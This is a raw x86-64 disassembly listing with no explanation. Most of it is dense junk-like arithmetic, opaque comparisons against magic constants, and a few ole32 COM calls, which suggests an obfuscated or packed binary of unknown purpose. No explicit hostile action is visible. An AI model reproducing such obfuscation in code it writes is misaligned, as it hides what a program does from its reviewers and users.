mov qword [rcx], rax
mov rax, qword [0x140178e60]
movzx ecx, al
mov rax, qword [rsp + 0x4b30]
shl rax, cl
mov qword [rsp + 0x4aa0], rax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [0x14017a050]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4aa0]
mov rcx, qword [rsp + 0x4b30]
add rcx, rax
mov rax, rcx
mov qword [0x140178e60], rax
movzx eax, byte [rsp + 0x50]
and eax, 0x4a
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x85c]
movzx ecx, word [0x140178e68]
sub eax, ecx
mov word [rsp + 0x858], ax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [0x140178e68]
sub eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4b90]
mov ecx, dword [rsp + 0x28f4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2908], eax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [0x140178e68]
add eax, ecx
mov word [rsp + 0x858], ax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov byte [0x14017a050], al
movsx eax, word [rsp + 0x860]
xor eax, 0x183
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b90]
mov qword [rsp + 0x4bc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bc8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4aa0]
shr rax, cl
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4ac8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2908], eax
cmp dword [rsp + 0x28e8], 0xdfe2
ja 0x140004709
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28f4], eax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
and eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
movzx eax, word [rsp + 0x858]
movzx ecx, word [0x140178e68]
add eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x4aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [0x140178e60]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4ae0]
mov qword [rsp + 0x4bd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x50]
sar eax, 5
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4b90]
mov ecx, dword [rsp + 0x28cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x2908]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov eax, dword [rsp + 0x28cc]
mov ecx, dword [rsp + 0x28ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28f4], eax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4b78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b30], rax
mov eax, dword [rsp + 0x28f8]
add eax, 0x2d
mov dword [rsp + 0x28f8], eax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2908], eax
mov eax, dword [rsp + 0x28f4]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x85c]
sub eax, ecx
mov word [0x140178e68], ax
movsx eax, byte [0x14017a050]
movsx ecx, byte [rsp + 0x52]
shl eax, cl
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x50]
sar eax, 7
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x50]
or eax, 0x61
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4aa0], rax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4b90]
mov ecx, dword [rsp + 0x28ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28cc], eax
movsx eax, word [rsp + 0x860]
sub eax, 0x8d
mov word [rsp + 0x860], ax
cmp dword [rsp + 0x28f8], 0x925b
jb 0x140004abc
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x28ac]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140178e6c], eax
mov rax, qword [rsp + 0x4b30]
mov qword [rsp + 0x4bd8], rax
cmp qword [rsp + 0x4bd8], 0
je 0x140004e36
movabs rax, 0x7c385c3aac1943
cmp qword [rsp + 0x4bd8], rax
je 0x140004eac
jmp 0x140004fb0
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov edx, dword [rsp + 0x2908]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jbe 0x140004e9a
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [0x14017a050]
add eax, ecx
mov byte [rsp + 0x51], al
lea r8, [rsp + 0x28cc]
lea rdx, [rsp + 0x162e8]
lea rcx, [rsp + 0x4b28]
call qword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [rsp + 0x2954], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x4be0], rax
jmp 0x140004fb0
mov rax, qword [rsp + 0x4b78]
mov qword [rsp + 0x4be8], rax
movabs rax, 0x71c9e80fe0c9d4
cmp qword [rsp + 0x4be8], rax
je 0x140004eed
movabs rax, 0x75a678e7ca140a
cmp qword [rsp + 0x4be8], rax
je 0x140004f73
jmp 0x140004fb0
movsx eax, word [rsp + 0x860]
cmp eax, 0x4e3
jle 0x140004f71
movzx eax, word [rsp + 0x858]
movzx ecx, word [0x140178e68]
sub eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4ac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28ac]
movzx ecx, al
mov eax, dword [rsp + 0x28f4]
sar eax, cl
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4b88]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
jmp 0x140004fb0
lea rdx, [rsp + 0x162f8]
lea rcx, str.manufacturers
call qword [sym.imp.ole32.dll_IIDFromString]
mov dword [rsp + 0x295c], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b80]
mov qword [rsp + 0x4bf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bf0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4aa8]
mov edx, dword [rsp + 0x28d8]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jb 0x1400fa2f0
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4b88]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x50]
add eax, 0x98
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x85c]
sub eax, ecx
mov word [0x140178e68], ax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [0x140178e68]
sub eax, ecx
mov word [rsp + 0x858], ax
movsx eax, word [rsp + 0x860]
add eax, 0x5ae
mov word [rsp + 0x860], ax
mov eax, dword [rsp + 0x2944]
sub eax, 0xe6
mov dword [rsp + 0x2944], eax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x28d8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4b88]
movzx ecx, al
mov rax, qword [rsp + 0x4b78]
shl rax, cl
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x28ac]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
mov rax, qword [0x140178e60]
movzx ecx, al
mov rax, qword [rsp + 0x4b30]
shr rax, cl
mov qword [rsp + 0x4aa0], rax
movsx eax, word [rsp + 0x860]
xor eax, 0x41c
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
movzx eax, word [rsp + 0x858]
movzx ecx, word [0x140178e68]
add eax, ecx
mov word [rsp + 0x85c], ax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [0x140178e68]
and eax, ecx
mov word [rsp + 0x858], ax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [0x140178e60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4aa0], rax
cmp dword [rsp + 0x2944], 0x53f
ja 0x140005011
lea rax, [rsp + 0x28f4]
mov qword [rsp + 0x4bf8], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2908]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
sub eax, 0xc6
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x858]
movzx ecx, word [0x140178e68]
add eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
xor eax, ecx
mov byte [rsp + 0x51], al
movzx eax, word [rsp + 0x858]
movzx ecx, word [0x140178e68]
or eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4b30]
movzx ecx, al
mov rax, qword [rsp + 0x4aa0]
shl rax, cl
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4ae0]
mov qword [rsp + 0x4c00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c00]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x28cc]
mov ecx, dword [rsp + 0x28f4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b80]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28bc], eax
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x85c]
add eax, ecx
mov word [0x140178e68], ax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [0x14017a050]
sub eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28e0]
add eax, 9
mov dword [rsp + 0x28e0], eax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4bf8]
mov qword [rsp + 0x4c08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c08]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4aa0]
shl rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x858]
or eax, ecx
mov word [0x140178e68], ax
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x28ac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
and eax, ecx
mov byte [rsp + 0x52], al
movsx eax, word [rsp + 0x860]
add eax, 0x69c
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4b88]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x858]
sub eax, ecx
mov word [0x140178e68], ax
movsx eax, word [rsp + 0x860]
add eax, 0x4c7
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
or eax, ecx
mov byte [rsp + 0x52], al
movsx eax, word [rsp + 0x860]
sar eax, 4
mov word [rsp + 0x860], ax
mov eax, dword [rsp + 0x28ac]
mov rcx, qword [rsp + 0x4b70]
mov qword [rsp + 0x4c10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c10]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4b30], rax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a050], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
add eax, 8
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
and eax, 0xfb
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac0]
mov qword [rsp + 0x4c18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c18]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4b30], rax
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x85c]
xor eax, ecx
mov word [0x140178e68], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
or eax, ecx
mov byte [rsp + 0x51], al
cmp dword [rsp + 0x28e0], 0xcbc0
jne 0x140005243
movzx eax, word [rsp + 0x85c]
mov dword [rsp + 0x2960], eax
cmp dword [rsp + 0x2960], 0x6ea
je 0x1400058a8
cmp dword [rsp + 0x2960], 0xfe30
je 0x14000580e
jmp 0x1400058c4
mov eax, dword [rsp + 0x28bc]
movzx ecx, al
mov eax, dword [rsp + 0x2908]
shl eax, cl
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x28d8]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14000586b
movsx eax, word [rsp + 0x860]
sub eax, 0x601
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4ac0]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rax]
call fcn.1400fa910
nop
mov dword [rsp + 0x2964], 0xfa49
lea rax, [rsp + 0x858]
mov qword [rsp + 0x4c20], rax
movzx eax, word [rsp + 0x85c]
mov word [rsp + 0x864], ax
lea rax, [rsp + 0x4b88]
mov qword [rsp + 0x4c28], rax
jmp 0x1400058c4
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28f4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
cmp dword [rsp + 0x2914], 0x3006
ja 0x140005ab6
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov byte [0x14017a050], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movsx eax, word [rsp + 0x860]
and eax, 0x7f8
mov word [rsp + 0x860], ax
movzx eax, byte [rsp + 0x50]
add eax, 0x70
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
or eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2908], eax
mov eax, dword [rsp + 0x28f4]
movzx ecx, al
mov eax, dword [rsp + 0x28ac]
shl eax, cl
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac0]
mov qword [rsp + 0x4c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c30]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4b78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
sub eax, 0x64
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
add eax, ecx
mov word [rsp + 0x85c], ax
mov eax, dword [rsp + 0x2914]
add eax, 0xf7
mov dword [rsp + 0x2914], eax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
jmp 0x1400058c4
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4aa0]
mov rcx, qword [rsp + 0x4ac0]
mov qword [rsp + 0x4c38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c38]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
xor eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
or eax, 0xad
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0x860]
shl eax, 1
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4b30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4aa0], rax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov byte [0x14017a050], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x50]
sub eax, 0xc5
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
